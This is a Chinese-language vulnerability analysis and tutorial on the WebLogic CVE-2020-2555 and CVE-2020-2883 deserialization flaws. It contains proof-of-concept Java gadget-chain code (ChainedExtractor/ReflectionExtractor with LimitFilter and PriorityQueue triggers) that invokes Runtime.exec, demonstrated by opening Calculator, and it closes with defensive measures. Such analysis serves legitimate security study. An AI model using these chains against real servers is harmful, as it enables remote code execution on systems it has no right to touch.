Weblogic 2020-2555&2883分析
字数 1220 2025-08-22 12:23:47
WebLogic CVE-2020-2555 & 2883 漏洞分析与利用教学
漏洞概述
WebLogic CVE-2020-2555和CVE-2020-2883是两个相似的Java反序列化漏洞,攻击者可以通过构造恶意序列化对象实现远程代码执行(RCE)。这两个漏洞的核心利用点在于WebLogic中com.tangosol.util包中的ChainedExtractor和ReflectionExtractor类的滥用。
核心组件分析
ChainedExtractor 类
ChainedExtractor类继承自AbstractCompositeExtractor,其关键方法如下:
public class ChainedExtractor extends AbstractCompositeExtractor {
public Object extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
}
特点:
- 遍历
m_aExtractor数组(继承自父类) - 将数组中的每一项进行
extract操作 - 将前一个操作的结果作为下一个
extract的参数
ReflectionExtractor 类
ReflectionExtractor类提供了反射调用功能:
public class ReflectionExtractor extends AbstractExtractor {
public Object extract(Object oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
}
关键点:
- 可以通过
method.invoke(oTarget, this.m_aoParam)实现任意方法调用 - 方法名(
m_sMethod)和参数(m_aoParam)完全可控
漏洞利用链构造
基本利用原理
通过组合ChainedExtractor和ReflectionExtractor,可以构造类似Commons Collections(CC)链的攻击方式:
- 使用
ReflectionExtractor构造方法调用链 - 使用
ChainedExtractor将这些调用串联起来 - 寻找触发点调用
extract方法
基础PoC示例
ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor second = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor third = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "open /System/Applications/Calculator.app"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{first, second, third};
ChainedExtractor puzzle = new ChainedExtractor(valueExtractors);
puzzle.extract(Runtime.class);
完整利用链
- 触发点选择 -
LimitFilter类的toString()方法:
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
// ...
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop));
// ...
}
// ...
return sb.toString();
}
- 最终触发 - 通过
BadAttributeValueExpException在反序列化时触发toString():
LimitFilter c = new LimitFilter();
c.setComparator(b); // b是ChainedExtractor实例
c.setTopAnchor(input); // input是Runtime.class
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, c);
JDK 7/8通用PoC
由于BadAttributeValueExpException在JDK7中不触发toString(),需要使用PriorityQueue替代:
// 初始构造无害的extractor链
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
// 初始化PriorityQueue
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
// 通过反射替换为恶意extractor链
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);
// 替换queue数组内容
Field f = queue.getClass().getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArray = (Object[]) f.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = "1";
漏洞修复与绕过
CVE-2020-2883修复了第一条利用链的第二环节,但可以通过以下方式绕过:
- 使用
ConcurrentSkipListMap$SubMap和Mutations替代
总结与防御建议
技术要点总结
- 漏洞核心在于
ChainedExtractor和ReflectionExtractor的滥用 - 利用方式类似于Commons Collections反序列化漏洞
- 需要根据目标JDK版本选择不同的触发链
防御措施
- 及时应用Oracle官方补丁
- 限制WebLogic服务器对外暴露
- 使用Java反序列化过滤器
- 监控可疑的Java反序列化操作